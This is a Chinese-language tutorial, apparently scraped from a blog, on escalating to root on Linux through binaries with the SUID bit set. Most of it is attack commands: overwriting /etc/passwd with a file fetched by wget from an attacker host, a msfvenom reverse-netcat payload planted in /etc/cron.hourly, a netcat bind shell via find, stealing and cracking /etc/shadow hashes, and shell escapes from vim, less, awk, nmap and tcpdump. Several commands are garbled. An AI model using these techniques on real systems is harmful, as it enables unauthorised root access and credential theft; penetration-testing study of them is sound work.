使用SUID二进制文件进行Linux权限升级技巧
0x00 基础知识
众所周知,在Linux中一切都以文件存在,包括具有允许或限制三个执行操作(即读/写/执行)权限的目录和设备。因此,当给任何文件设置权限时,应该需要了解允许的Linux用户或限制所有三个操作的权限。看如下图所示:
从上图中可看到用于为每个用户设置组合许可的最大位数是7,它是read(4)write(2)和execute(1)操作的组合。例如,如果设置chmod 755,那么它就相当于rwxr-xr-x。
但是当给每个用户特殊许可时,它将变为SUID,SGID和 sticky bits。当其他位设置成“4”时,它变为SUID(设置用户ID),当位“2”设置为组时,它变为SGID(设置组ID),并且如果允许其他用户创建或删除任何用户ID在目录中的文件然后将 sticky bits位 “1”设置到该目录。
1.什么是SUID许可?
SUID: Set User ID是一种权限类型,允许用户使用指定用户的权限执行文件。那些具有suid权限的文件以最高的权限运行。假设我们以非root用户身份访问目标系统,并且我们发现二进制文件启用了suid位,那么这些文件/程序/命令可以root权限运行.SUID的目的就是:让本来没有相应权限的用户运行这个程序时,可以访问他没有权限访问的资源。passwd就是一个很鲜明的例子,下面我们就来了解一下这相passwd执行的过程。
怎么设置suid?
基本上,您可以使用“数字”方法或“符号”方法更改任何文件的权限。结果它将从s替换为 x,如下图所示,表示对特定文件/命令具有更高权限的特殊执行权限。由于为用户启用SUID,因此将在读/写/执行操作之前添加位4或符号s。
如果使用ls -al执行文件命令查看,您将看到到符号small 's',如上图所示,则表示该文件的SUID位已启用,并且可以使用root权限运行。
2.SUID如何帮助普通用户提升权限?
在Linux中,如果启用了SUID位,非root用户可以使用某些现有的二进制文件和命令将特权升级为root访问权限。有一些著名的Linux / Unix可执行文件命令可以让权限升级如命令:Bash,Cat,cp,echo,find,Less,More,Nano,Nmap,Vim。
让我们用实例深入了解。首先,创建一个不是sudo组用户的用户。这里我们添加了一个用户“ignite”,其UID为1001,GID为1001,因此 ignite是非root用户。
0x01 使用“cp”命令进行权限提升
如果为用于复制数据的cp命令启用了suid位,则可导致权限升级以获得root访问权限。例如,假设系统管理员想要为cp命令提供SUID权限。然后,您可以按照以下步骤确定其位置和当前权限,然后可以通过更改权限启用SUID位。
which cp ls -al /bin/cp chmod u+s /bin/cp
1.第一种方法
另一方面,开始远程以普通权限登录到目标系统并通过查找命令,然后转移到权限提升阶段。假设通过ssh成功登录受害者的计算机并访问非root用户终端。然后通过使用以下命令,您可以枚举具有SUID权限的所有二进制文件。
从上图中可以看到它显示的文件太多但我们重点注意/bin/cp文。因为现在我们可以复制 /etc/password文件来读取用户列表。因此将password文件复制到html目录下。
cp /etc/passwd /var/www/html
另一方面,我们使用OpenSSL passwd生成了一个新的用户hack并设置密码为pass123
我们已经复制的文件也就是在web目录下/var/www/htm的 passwd 文件,所以可以通过网络浏览器访问并下载打开它,然后复制password文件的全部内容到一个文本文件中,并可以添加我们自己的用户与 root UID,GID和目录信息。
在之前的文章中,已经讨论了如何使用openssl passwd实用程序添加用户/etc/passwd。
在我们的另一台服务器上运行Python HTTP服务,将我们编辑的passwd文件传输到受害者机器上。
python -m SimpleHTTPServer 80
众所周知,/tmp目录具有创建或删除任何文件的所有权限,因此在该目录下下载了已修改好的passwd文件。一旦它被下载,然后我们将/tmp/passwd的文件拷贝到/etc/passwd中,结果它将覆盖原始的passwd文件。
命令如下:
cd /tmp wget http://192.168.1.108/passwd cp passwd /etc/passwd
在tail命令的帮助下,我们确保我们添加的用户hack是/etc/passwd文件存储了用户信息。由于我们已经添加了具有root权限的用户,因此将进入root目录.
命令如下:
tail -n /etc/passwd su hack whoam
可以成功看到升级为root权限。
2.第二种方法
同样如果为cp命令启用SUID位,我们也可以在目标系统中传输后门。这里我们使用msfvenom命令为反向连接生成了natcat后门。
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.108 lport=1234 R
然后复制上面突出显示的代码,并通过编辑bash文件将内容粘贴进去,然后准备将它转移到目标的系统中,这里已保存为raj.sh。
现在我们都知道Linux crontab实用计划程序是以每小时,每天,每周和每月运行文件,因此在/etc/cron.hourly目录中复制了raj.sh。它将在一小时后运行raj.sh文件。
命令如下:
cp raj.sh /etc/cron.hourly/ ls -al /etc/cron.hourly/
另一方面,我们在一个新的终端中启动了Netcat监听,并且随着时间的推移,它将提供目标系统的root权限反向连接。因此,我们看到如果SUID位为ON,单个cp命令如何进行权限提升。您可以使用cp命令尝试以自己的方式提升root权限。
0x02 使用Find命令进行权限提升
同样,如果find命令的SUID位为ON,我们可以升级root权限。例如,假设(系统管理员想要为Find命令提供SUID权限。然后,可以按照以下步骤确定其位置和当前权限,然后您可以通过更改权限启用SUID位.
which find ls -al /usr/bin/find chmod u+s /usr/bin/find
再次攻击目标系统,然后如上图所述移动特权升级阶段。然后,通过使用以下命令,您可以枚举具有SUID权限的所有二进制文件。
find/-perm-u=s-typef2>/dev/null
所以在这里我们知道命令已启用了SUID位,这意味着我们可以在find命令中执行任何命令。首先,我们创建一个空文件“raj”,然后运行whoami命令,如下所示。
touch raj find raj -exec "whoami" \;
如果攻击者成功枚举了/usr/bin/find的SUID位,那么将允许执行任何恶意命令,例如netcat bin/bash shell命令,或者可以获取重要的系统信息以进行权限提升。
0x03使用Vim进行权限提升
同样,如果Vim编辑器的SUID位为ON,我们可以升级为root权限。例如,假设系统管理员想要为Vim编辑器提供SUID权限。然后,可以按照以下步骤确定其位置和当前权限,然后可以通过更改权限启用SUID位。
命令如下:
which vim ls -al /usr/bin/vim ls -al /usr/bin/alternatives/vim chmod u+s /usr/bin/vim.basic
您将通过软链接到vim.basic,如下图所示。
再次攻击目标系统,然后如上图所述移动特权升级阶段。然后,通过使用以下命令,可以枚举所有具有SUID权限的二进制文件。
find / -perm -u=s -type f >/dev/null
所以在这里我们知道为/usr/bin/vim.basic启用了SUID位,因此现在我们可以编辑通过vim只能由sudo或root用户编辑的文件。
我们知道ignite是权限最小的非root用户,因为vim具有SUID权限,因此,我们可以通过它编辑sudoers文件,并可以更改用户“ignite”的权限。因此,我们通过键入visudo命令打开sudoers文件,并向用户ignite授权所有者权限,如图所示。
ignite ALL=(ALL:ALL) ALL
现在让我们访问根目录,这个技巧也可以很好地用于权限提升。
如下命令:
sudo -l sudo bash id
0x04 使用保存的脚本进行权限提升
获得系统或程序调用的任何类型的脚本都有最大的机会进行权限提升,它可以是PHP,Python或C语言脚本的任何脚本。假设系统管理员想要为C语言脚本提供SUID权限,该脚本将在执行时提供bash shell。所以这里我们编写了一个c程序,它将为bash shell调用系统并将其保存为“asroot.c”。
然后在/bi目录中创建一个rootshell目录并复制asroot.c文件到该目录下,然后运行gcc编译器进行编译。
mkdir /bin/rootshell cd /bin/rootshell cp /home/raj/Desktop/asroot.c . ls gcc asroot.c -o shell chmod u+s shell ls -al shell
现在再次攻击目标系统并使用find命令识别具有SUID权限的二进制文件。
find/-perm-u=s-typef2>/dev/null
所以在这里我们开始知道列出了二进制文件启用的suid位,但我们重点观察/bin/rootshell/shell。所以进入到/ bin/rootshell目录下并运行脚本“shell”,结果我们获得root访问权限,如下所示。
0x06 使用Nano的权限提升
同样,如果SUID位为ON,则我们可以升级root权限。例如,假设系统管理员想要为nano编辑器提供SUID权限。然后,可以按照以下步骤确定其位置和当前权限,可以通过更改权限启用SUID位。
如下命令:
which nano ls -al /bin/nano chmod u+s /bin/nano
再次攻击目标系统,然后如上所述移动特权升级阶段。然后,通过使用以下命令,可以枚举具有SUID权限的所有二进制文件。
find/-perm-u=s-typef2>/dev/null
所以在这里我们开始知道为/bin/nano启用了SUID位,现在让我们打开/etc/passwd文件来编辑自己的用户,如上所述,使用openssl passwd。
另一方面,我使用openssl passwd添加一个新的用户名的demo以及密码123
现在使用nano编辑器打开passwd文件并添加您自己的用户,如上所述。在这里,您可以看到在受害者的系统中创建了带有加密密码的演示用户。
su demo id
如果为/ bin/nano启用了suid位,那么可以从/etc/shadow文件中窃取密码。因此,在攻击了目标机器后,我们在nano编辑器中打开了shadow文件,并为用户复制加密密码:raj。
现在将上面的代码复制粘贴到文本文件中并在桌面上保存为hash,然后使用john对其进行破解,如下所示。它已经现实出用户名raj以及密码123,现在尝试通过raj帐户登录目标系统。
0x07 其他tips技巧
1.Nmap
老版本的nmap(2.02-5.21)有 interactive,是允许用户执行系统命令的。提权方式
nmap --interactive
之后执行命令:
nmap> !sh sh-3.2# whoami root
msf中的模块为:
exploit/unix/local/setuid_nmap
2.Find
touch test find test -exec whoami \;
如果服务器上装了nc,可以直接使用以下命令进行监听:
find test -exec netcat -lvp -e /bin/sh \;
之后进行连接:
netcat 192.168.1.100
则可获取root shell
3.vim/vi
打开vim,按下ESC
:set shell=/bin/sh :shell
则可执行命令
4.bash
bash -p bash-3.2# id uid=(service) gid=(service) euid=(root) groups=(service)
5.less
less /etc/passwd !/bin/sh
6.more
more /home/pelle/myfile !/bin/bash
7.cp
使用cp覆盖 /etc/shadow
8.mv
使用mv 覆盖 /etc/shadow 或者/etc/sudoers
9.awk
awk 'BEGIN {system("/bin/bash")}'
10.man
man passwd !/bin/bash
11.python/perl/ruby/lua/etc
perl:
exec "/bin/bash";
python:
import os os.system("/bin/bash")
12.tcpdump
echo $'id\ncat /etc/shadow' > /tmp/.test chmod +x /tmp/.test sudo tcpdump -ln -i eth0 -w /dev/null -W -G -z /tmp/.test -Z root
使用SUID二进制文件进行Linux权限升级技巧的更多相关文章
- 使用sudo进行Linux权限升级技巧
0x00 前言 在我们之前的文章中,我们讨论了如何使用SUID二进制文件和/etc/passwd 文件的Linux权限提升技巧,今天我们发布了另一种“使用Sudoers文件进行Linux权限提示技巧” ...
- 使用PATH变量进行Linux权限升级技巧
0x00 前言 在解决了几个OSCP挑战之后,我们决定写一篇关于用于Linux权限升级的各种方法的文章,这对我们的读者在其渗透测试项目中有所帮助.在本文中,我们将学习“使用$path变量的各种方法”以 ...
- 使用LD_Preload的Linux权限升级技巧
0x00 前言 共享库是程序在启动时加载的库.正确安装共享库后,之后启动的所有程序将自动使用新的共享库. 0x01 共享库名称 每个共享库都有一个名为soname的特殊名称.soname有前缀li ...
- linux权限详解
一个用户.一个组 我们来看一看 Linux 权限和所有权模型.我们已经看到每个文件属于一个用户和一个组.这正是 Linux 中权限模型的核心.您可以在 ls -l 清单中查看用户和组: $ ls -l ...
- 编辑/etc/passwd文件进行权限升级的技巧
0x00 前言 在本文中,我们将学习“修改/etc/passwd文件以创建或更改用户的root权限的各种方法”.有时,一旦目标被攻击,就必须知道如何在/etc/passwd文件中编辑自己的用户以进行权 ...
- Linux权限操作 [转]
Linux权限操作 本文内容来自<鸟哥linux私房菜>读后个人做的笔记,该书实为学习linux的很好入门教材 一.文件属性 ls ls -al列出所有的档案属性 ls是List的意思 档 ...
- 【Linux】 Linux权限管理与特殊权限
Linux权限管理 权限管理这方面,非常清楚地记得刚开始实习那会儿是仔细研究过的,不知道为什么没有笔记留痕..除了一些基本的知识点早就忘光了,无奈只好从头开始学习一遍.. ■ 基本权限知识 这部分实在 ...
- Linux权限基础
Linux权限基础 四种权限大类 基本权限 特殊权限 隐藏权限 file ACL权限 三种基本权限 r(read) 读是基本权限,没有读权限其他的一切操作都会被限制 读 4 w(write) 写 2 ...
- linux权限管理-特殊权限
目录 linux权限管理-特殊权限 一,特殊权限 Linux权限属性chattr概述 linux进程掩码umask linux权限管理-特殊权限 一,特殊权限 1.suid(4000) SetUID( ...
随机推荐
- 基于神念TGAM的脑波小车(2)
将数据处理移植到STM32上,采用串口的DMA接收模式,注意的是DMA_MODE采用Circular,DMA_BufferSize>(8*512+36=4132)(小包8个字节,每秒512个,完 ...
- 为centos虚拟机配置固定ip
在virtual上安装centos虚拟机以后,发现虚拟机没有ip,无法联网 将虚拟机的网络适配器改为桥接模式,桥接到物理机的无线网卡 为虚拟机配置固定IP(vi /etc/sysconfig/netw ...
- 关于如何使用dubbo管理控制台的一些感想
1.起因 因java项目需要准备安装一个dubbo-admin管理后台研究使用,无奈github上并没有看到dubbo-admin的目录着实让人着急.百度引擎上一些文章也不靠谱!真是浪费时间!所以又 ...
- [linux] 利用PROMPT_COMMAND实现命令审计
网上查了实现命令审计大概有以下几种: 查不到了,改天再补充 以下环境基于CentOS 6 1.修改history时间格式 echo 'HISTTIMEFORMAT="%F %T " ...
- 忘记本地MySQL数据库密码的解决方案。
忘记本地MySQL数据库密码,解决方案,分以下10个步骤: 参考链接: https://blog.csdn.net/weidong_y/article/details ...
- Last Daily Scrum (2015/11/9)
今晚我们终于完成了新版本的爬虫工作,可以替换掉之前部署在服务器上的那个爬虫了.由于周末大家各种原因导致了我们迭代一的截止日没有完成所有任务,所以今天晚上大家加班加点终于把这一迭代的爬虫项目完成了. 成 ...
- Scrum Meeting 10.31
成员 今日任务 明日任务 今日工作时长 徐越 整理开发文档,学习ip相关知识,学习servlet相关知识 代码迁移,学习数据库相关知识 5h 赵庶宏 学习学长的servlet代码 进行数据库的连接 4 ...
- No.10_分数分配
C#队一共有7名成员,因此团队贡献分一共350分. 分配方式应当反映绝大部分组员的真实贡献情况,即由贡献决定分数. 另外保证一定的奖惩措施,充分调动组员的积极性,鞭策团队向前迈进. 对于团队贡献分数的 ...
- P2P通讯原理
1.简介 当今互联网到处存在着一些中间件(MIddleBoxes),如NAT和防火墙,导致两个(不在同一内网)中的客户端无法直接通信.这些问题即便是到了IPV6时代也会存在,因为即使不需要NAT,但还 ...
- golang 反射
参考:|--http://blog.51cto.com/speakingbaicai/1707637 |--https://studygolang.com/articles/6324 反射是在gola ...